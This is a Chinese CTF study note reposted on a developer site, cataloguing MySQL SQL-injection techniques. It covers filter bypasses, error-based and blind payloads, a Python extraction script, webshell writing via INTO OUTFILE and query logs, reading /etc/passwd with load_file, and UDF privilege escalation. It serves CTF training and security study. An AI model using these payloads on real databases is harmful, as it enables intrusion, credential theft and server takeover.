热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sql注入实验总结_CTF考点总结sql注入篇

来自Kagi师傅(终于见到了CTF的职业选手了)总结,我的CTF生涯还有很多个6年(未开始)本文字数4000,阅读时间约15分钟。整理下sql注入相关知

    来自Kagi师傅(终于见到了CTF的职业选手了8819fdf850d25737e9c9ec8b2a32a969.png8819fdf850d25737e9c9ec8b2a32a969.png8819fdf850d25737e9c9ec8b2a32a969.png)总结,我的CTF生涯还有很多个6年(未开始1b741a8260dd5ce30715f74275ff5540.png)

本文字数4000+,阅读时间约15分钟。

    整理下sql注入相关知识,查漏补缺(长期更新)

常用语句及知识

information_schema包含了大量有用的信息,例如下图

0bb2cce748a153cce584252160d1f4ca.png

mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码

#sql当前用户:select user()数据库版本:select version() , select @@version数据库名:select database()操作系统:select @@version_compile_os所有变量:show variables单个变量:select @@secure_file_priv , show variables like 'secure_file_%'爆字段数:order by 1... ,group by 1...查库名:select group_concat(schema_name) from information_schema.schemata查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)读文件:select load_file('/etc/passwd')写文件:select '' into outfile '/var/www/html/a.php'  //该处文件名无法使用16进制绕过常用函数

#sql截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')多行拼接:group_concat //eg: select group_concat(user) from mysql.user时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...

所有函数及运算符:https://dev.mysql.com/doc/refman/8.0/en/func-op-summary-ref.html

绕过方法

绕过空格

#sql%20、%09、%0a、%0b、%0c、%0d、%a0、%00、/**/、 /*!select*/ 、()、--%0a(可以1-256都跑一遍)

其中%09需要php环境,%0a为\n  /!select/为mysql独有。常见用法为/!50727select 1/,即当版本号小于等于50727时,执行select 1

a03acefc2bab5b709845f0aa66af3414.png

绕过单引号

sql\转义、宽字节%df%27,%bf%27、十六进制绕过

注释方法

sql/**/、--+、#、;%00、union /*!select*/(mysql独有)

select from union select绕过

sqlselect-1,user from mysql.userselect@1,user from mysql.userselect~1,user from mysql.userselect`user`,user from mysql.userselect(1),user from mysql.userselect'1',user from mysql.userselect+1,user from mysql.userselect 1,1e2from mysql.userselect 1,.9from mysql.userselect 1``from mysql.userselect 1''from mysql.userselect 1'123'from mysql.userselect '1'''from mysql.userselect 1""from mysql.userselect "1"""from mysql.userselect 1 from mysql.user where user=.1union select 1select 1 from mysql.user where user=1e1union select 1select 1 union--%0aselect 2select 1 union--%0e%0aselect 2select 1 union all select 2

 set绕过

sqlselect '123' into @aselect @a:='123'select 1 from mysql.user where @a:='123'do @a:='123'

绕过(点绕过)//select,from等关键字绕过都可以使用

select 0x73656c65637420757365722066726f6d206d7973716c2e75736572 into @s;prepare a from @s;EXECUTE a; //0x736... =>'select user from mysql.user'set @a concat('select user from mysql',char(46),'user');prepare a from @s;EXECUTE a;

information_schema绕过:

select table_name from mysql.innodb_index_stats 表名select database_name from mysql.innodb_index_stats 库名select table_name from mysql.innodb_table_stats 表名select database_name from mysql.innodb_table_stats 库名

bypass information_schema    https://www.anquanke.com/post/id/193512

逗号绕过

select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)select x.1 from (select * from ((select 1)A join (select 2)B join (select 3)C) union (select * from ctf)x)

奇技淫巧

按注入方法分类

数值型注入、字符型注入、二次注入、宽字节注入、堆叠注入...

按语句分类

select注入、update注入、insert注入、order注入、desc注入...

按注入效果分类

回显注入、布尔注入、时间注入、报错注入...

无字段名,同表注入

(1)别名,子查询

select t.2 from (select 1,2,3 union SELECT * from ctf.user)t LIMIT 1,1

(2)堆叠

select * from ctf.user limit 0,1 into @a,@b,@c;select @a,@b,@c

order by排序注入

首先假设有这样一张表

c981587d022debbdc1bd750051733f07.png

有以下代码

query($sql);if ($result->num_rows > 0) {if($row = $result->fetch_assoc()) {echo "username: " . $row["username"]."
";}}$conn->close();?>

因为()_.|被过滤,所以我们无法从information_schema和函数获取信息。

现在我们要获取admin的flag的hash,但是我们不知道字段名,且没有.不能使用别名或子查询的方式获取,可以使用这样的方法。

下面正式开始

首先我们知道order by 可以排序,所以利用这一点可以进行字符串比较,如下就是order by 对admin进行呢比较我们现在就已经确定前两个字母为ad了

6d5bdbd3dafb95600d36f0d5ebddf266.png

4b72834816b81470ab6d791ca778b8c7.png

同理

bdd74f1129822cad179c571ecbc9aeaa.png

2a2349ebeb2bddc01a4c455b75a09056.png

现在我们知道admin的flag第一个字符为7了,继续

eb57d0a46d203ec55db51654ddf2572d.png

2f3252737a4e446ca2cac2c004d7ba46.png现在我们知道,前两个字符为79了 //9的ascii为57而:的ascii为58,所以:比9大 

以此我们可以写出以下脚本

import requestsurl= 'http://127.0.0.1/mysql.php'flag=''for i in range(50):for j in range(48,128):payload="?username=xxx' or 1=1 union select 1,2,'%s' order by 3 limit 1,2;\x00"%(flag+chr(j))r=requests.get(url+payload).textprint jif 'admin' in r:flag+=chr(j-1)print flag.lower() #793914c9c583d9d86d0f4ed8c521b0c1break

order by,desc,asc注入

正常的order语句,因为查询两列,所以order by 1,3报错

b557ee123ebd3432eb98b967eaac1fe5.png

但是这样就不报错了,甚至不会大整数溢出,但是会产生延时

8020a1f9f6c5f4d782335f1ce6101426.png

1ef9bd639c5a601eafd9312a6535079a.png

因为延时注入,会对每一行都执行一次,结果就会变得很慢,所以也可以采用其他的方法。

方法:使用like,regexp等来进行报错注入

aa2aa68c349be246f39e510fddf83a39.png

fa55955eed5dc7cd3ffceeedda0eb405.png

payload

sqlselect user,host from mysql.user order by 1,(1 regexp if((1=0),1,0x00));select user,host from mysql.user order by 1,(1 like if((1=0),1,(select 1+~0)));

## desc注入

用法:desc mysql.user 等同于show columns from mysql.user

ffb8e6e1ac8c331f3f4d8d046fac2795.png

de004232951341b8452ce7004db7a9cb.png

怎么利用呢?

漏洞代码:

fb036b128253172d391a6230b144d1b5.png

攻击方法:

payload:  ?table=note`#` where (select database()='d')#`$sql1 => desc `cms_note`#` where (select database()='d')#`$sql2 => select * from cms_note`#` where (select database()='d')#` where id =

13f529b87a02fce952c4ad8ef5056b8f.png

floor报错注入

原理:

rand(),随机一个0-1的数

0b3ae548aa88bcff19798c62b3bb8f83.png

3038b4959fbc385ab9a78222aac3c42f.png

rand(0)即为rand函数设定种子为0,所以它的值是固定的

5752c42b9982bf9a40fc84643e495b44.png

在表中表现为这样

5f6817fe08c444cbe3d8ed415b2c79d0.png

floor()为向下取整,所以floor(rand(0)*2)即

7d15b442dab911fc75d95293b794cc39.png

count:https://dev.mysql.com/doc/refman/8.0/en/counting-rows.html

count为统计行数,当count与group by 一起使用时会新建一个虚拟表,遍历查询结果,将重复数据进行计数,如果结果不存在于虚拟表内,则添加进虚拟表,count数+1。如图所示

d2c5747eaa63daaaf54871e7de7235b7.png

一共652行

使用group by后,会统计每个字段出现的次数

a78234d34293e670391d9a6e178278b6.png

所以 select count() from mysql.user group by floor(rand(0)2) 就是这样一个流程

floor(rand(0)*2):0 1 1 0 1 1 0 0 1 1 1 ...

首先产生一个空的虚拟表

查询第一行,第一次执行floor(rand(0)2)结果为0,此时虚拟表为空,所以直接插入,插入时会再次执行floor(rand(0)2),该次为第二次所以实际插入key值为1,count为1

查询第二行,第三次执行floor(rand(0)*2)结果为1,虚拟表中已存在1,所以key值1的count+1,

查询第三行,第四次执行floor(rand(0)2)结果为0,虚拟表中不存在0,所以插入,插入时第五次执行floor(rand(0)2),该次结果为1,所以插入的key为1,但是key已经存在,所以报错Duplicate entry '1' for key ''

所以该报错方式的关键为count、group by、rand。floor只是起到一个辅助作用

payload:

select count(*),concat(user(),floor(rand(0)*2))x from mysql.user group by xselect count(*) from mysql.user group by concat(user(),floor(rand(0)*2))select count(*),concat(user(),floor(rand(0)*2)) from mysql.user group by 2

xpath报错注入

原理比较简单

updatexml (XML_document, XPath_string, new_value);extractvalue(XML_document, XPath_string)

因为我们输入的第二个参数不符合xpath格式自然报错,xpath_string最大长度为32位,所以报错长度也为32位

(1)extractvalue():

select extractvalue(1,concat(0x7e,(select user()),0x7e));

(2)updatexml():

select updatexml(1,concat(0x7e,(select user()),0x7e),1);

大整数溢出

select 1+~0select 2*~0select pow(2,1024)

431e804c638998e4d7498b5365e6f7de.png

name_const列名重复报错

select * from (select name_const(version(),1),name_const(version(),1))x //只能使用常量和普通字符串

7d7c26cd8e7f8e45842c2e5e965e72eb.png

jion列名重复报错

select * from(select a.1 from mysql.user a join mysql.user b)c

775e24354ba3bfee6685faa9476d05a5.png

rlike,regexp正则匹配报错:

rlike,regexp

select 1 regexp 0x00select 1 regexp ''select 1 rlike 0x00

b90e998bafdaa54e923988464404b6e2.png

9d91fd6dd49592f5538a22ae1bb70db5.png

其他报错注入

以下均摘自《代码审计:企业级Web代码安全架构》一书

mysql低版本以下可用的报错

select geometrycollection((select * from(select * from(select user())a)b));select multipoint((select * from(select * from(select user())a)b));select polygon((select * from(select * from(select user())a)b));select multipolygon((select * from(select * from(select user())a)b));select linestring((select * from(select * from(select user())a)b));select multilinestring((select * from(select * from(select user())a)b));select exp(~(select * from(select user())a));

写webshell

(1) 直接写

查看可写目录范围,默认为空即不可写不可读

select @@secure_file_priv

写入

select '' into outfile '/etc/www/html/shell.php'

(2) 日志写webshell

MySQL日志文件系统的组成:错误日志log_error:记录启动、运行或停止mysqld时出现的问题。通用日志general_log:记录建立的客户端连接和执行的语句。更新日志:记录更改数据的语句。该日志在MySQL 5.1中已不再使用。二进制日志:记录所有更改数据的语句。还用于复制。慢查询日志slow_query_log:记录所有执行时间超过long_query_time秒(默认10秒)的所有查询或不使用索引的查询。Innodb日志:innodb redolog

以下举例两种

show global variables like "%general%"; #查看general文件配置情况set global general_log='on'; #开启日志记录set global general_log_file='C:/phpstudy/WWW/shell.php';select ''; #日志文件导出指定目录set global general_log=off;                             #关闭记录

show variables like '%slow%';                           #慢查询日志set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';set GLOBAL slow_query_log=on;/*set GLOBAL log_queries_not_using_indexes=on;show variables like '%log%';*/select '' from mysql.user where sleep(10);

udf提权

大致流程如下,将udf文件windows为dll文件 ,linux为so文件导入服务器mysql插件目录即可。

可以自己写一些udf文件来编译。

推荐sqlmap提供的udf文件

https://github.com/sqlmapproject/sqlmap/tree/master/data/udf

因为udf文件较大,详细点击这里

https://files.cnblogs.com/files/kagari/udf.js

mysql任意文件读漏洞

原理:

  1. 当服务端执行load data local infile时,会从客户端会读取对应的文件。//load data infile则是从服务端本身读取

  2. mysql客户端连接服务端时,服务端可以让客户端执行sql语句,

所以伪造一个服务端,让客户端连接并执行load data local infile即可任意文件读。

这里推荐下 ev0A大佬的工具:https://github.com/ev0A/Mysqlist

例子: phpmyadmin开启远程登陆后就会出现该漏洞

格式化字符串漏洞与sql注入

sprintf

//?user=%1$\&pass=%20or%201=1%23

https://www.cnblogs.com/test404/p/7821884.html

参考文章:

https://p0sec.net/index.php/archives/117/

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

https://www.cnblogs.com/sfriend/p/11365999.html

https://www.cnblogs.com/csyxf/p/10241456.html

https://www.cnblogs.com/wintrysec/p/10875242.html

https://paper.seebug.org/218/

文章最后加上自己的祝福:祝福显丕90c4704cdaf5492a2ffba97ce33552ba.png90c4704cdaf5492a2ffba97ce33552ba.png90c4704cdaf5492a2ffba97ce33552ba.png90c4704cdaf5492a2ffba97ce33552ba.png前生注定,喜结良缘




推荐阅读
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • 本文讨论了在使用sp_msforeachdb执行动态SQL命令时,当发生错误时如何捕获数据库名称。提供了两种解决方案,并介绍了如何正确使用'?'来显示数据库名称。 ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • 我们有(据我所知)星型模式SQL数据库中的数据文件。该数据库有5个不同的文件,扩展名为 ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • CentOS 6.5安装VMware Tools及共享文件夹显示问题解决方法
    本文介绍了在CentOS 6.5上安装VMware Tools及解决共享文件夹显示问题的方法。包括清空CD/DVD使用的ISO镜像文件、创建挂载目录、改变光驱设备的读写权限等步骤。最后给出了拷贝解压VMware Tools的操作。 ... [详细]
author-avatar
手机用户2502896943
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有